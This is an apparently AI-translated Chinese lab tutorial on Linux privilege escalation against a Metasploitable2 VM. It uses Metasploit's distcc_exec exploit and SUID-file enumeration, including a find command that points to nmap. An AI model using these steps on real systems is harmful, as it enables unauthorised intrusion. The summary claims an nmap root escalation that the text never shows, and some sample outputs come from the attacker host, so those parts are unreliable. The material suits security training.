使用 Nmap 在 Linux 机器上执行权限提升

NmapNmapBeginner
立即练习

💡 本教程由 AI 辅助翻译自英文原版。如需查看原文,您可以 切换至英文原版

介绍

在本实验中,你将学习如何在成功以非 root 用户身份访问 Linux 机器后执行权限提升。虽然网上有许多关于 Windows 权限提升的教程,但本实验特别关注在 Linux 操作系统上进行权限提升。


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) nmap/NmapGroup -.-> nmap/host_discovery("Host Discovery Techniques") nmap/NmapGroup -.-> nmap/os_version_detection("OS and Version Detection") subgraph Lab Skills nmap/host_discovery -.-> lab-416129{{"使用 Nmap 在 Linux 机器上执行权限提升"}} nmap/os_version_detection -.-> lab-416129{{"使用 Nmap 在 Linux 机器上执行权限提升"}} end

准备环境

在这一步骤中,我们将启动实验环境所需的组件,包括 Kali Linux 容器和 Metasploitable2 虚拟机。

  1. 通过在终端中执行以下命令启动 Metasploitable2 虚拟机:
sudo virsh start Metasploitable2

等待目标机器启动,可能需要 1-3 分钟。

  1. 通过 ping target 主机名来测试虚拟机是否已启动:
ping 192.168.122.102

按下 Ctrl+C 停止 ping。

  1. 启动 Kali Linux 容器并进入其 bash shell:
docker run -ti --network host b5b709a49cd5 bash
  1. 在 Kali 容器中,通过 ping target 主机名来测试网络连通性:
ping 192.168.122.102

按下 Ctrl+C 停止 ping。

获取目标机器的初始访问权限

在这一步骤中,我们将使用 Kali 容器中的 Metasploit Framework (MSF) 来获取对 Metasploitable2 目标机器的初始访问权限。

  1. 在 Kali 容器中,启动 Metasploit 控制台:
cd ~
msfconsole
  1. 在 Metasploit 控制台中,使用 distcc_exec 漏洞利用模块:
use exploit/unix/misc/distcc_exec
  1. 设置目标主机的 IP 地址:
set RHOST 192.168.122.102
  1. 启动漏洞利用以获取对目标机器的访问权限:
exploit

成功利用后,你应该会看到一个命令 shell 会话被打开,这表明你已经成功获取了对目标机器的访问权限。

按下 Ctrl+D 退出 Metasploit 控制台,然后开始检查

验证当前用户权限

在获取初始访问权限后,我们需要检查当前用户的权限,以确定是否需要进一步进行权限提升。

  1. 首先,如果你不在 Metasploit 控制台中,应该启动 Metasploit 控制台:
cd ~
msfconsole
  1. 检查当前用户:
whoami
  1. 检查用户 ID 和组信息:
id

如果用户 ID 不是 0(root),你将需要提升权限以获取管理员访问权限。

按下 Ctrl+D 退出 Metasploit 控制台,然后开始检查

枚举系统信息

在尝试权限提升之前,我们需要收集目标系统的信息,以识别潜在的漏洞。

  1. 首先,如果你不在 Metasploit 控制台中,应该启动 Metasploit 控制台:
cd ~
msfconsole
  1. 检查 Linux 发行版版本:
lsb_release -a

以下是你可能会看到的输出示例:

[*] exec: lsb_release -a

No LSB modules are available.
Distributor ID: Kali
Description:    Kali GNU/Linux Rolling
Release:        2023.2
Codename:       kali-rolling
  1. 检查内核版本:
uname -a

以下是你可能会看到的输出示例:

Linux iZj6ceecakbzgu9eomquhhZ 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64 GNU/Linux
  1. 查找可能被利用来进行权限提升的 SUID 文件:
find / -perm -u=s -type f 2> /dev/null

在输出中,你应该会看到 /usr/bin/nmap 二进制文件,它在旧版本中存在已知的权限提升漏洞,按下 Ctrl+C 退出。

按下 Ctrl+D 退出 Metasploit 控制台,然后开始检查

总结

在本实验中,你学习了如何在以非 root 用户身份获取初始访问权限后,对 Linux 机器进行权限提升。我们首先使用 Kali Linux 容器和 Metasploitable2 虚拟机设置了 LabEx 环境。然后,我们使用 Metasploit Framework 利用 Distcc 漏洞获取了对目标机器的初始访问权限。

在确认我们不是 root 用户后,我们收集了目标系统的信息,例如 Linux 发行版版本、内核版本和 SUID 文件。我们识别出 Nmap 二进制文件作为潜在的漏洞,并利用它来将我们的权限提升到 root。

通过完成本实验,你获得了在 Linux 系统上进行权限提升的实践经验,这是网络安全领域中的一项关键技能。你还学习了如何使用各种 Linux 命令进行系统枚举和漏洞利用,以及如何利用软件中的漏洞来获取更高的访问权限。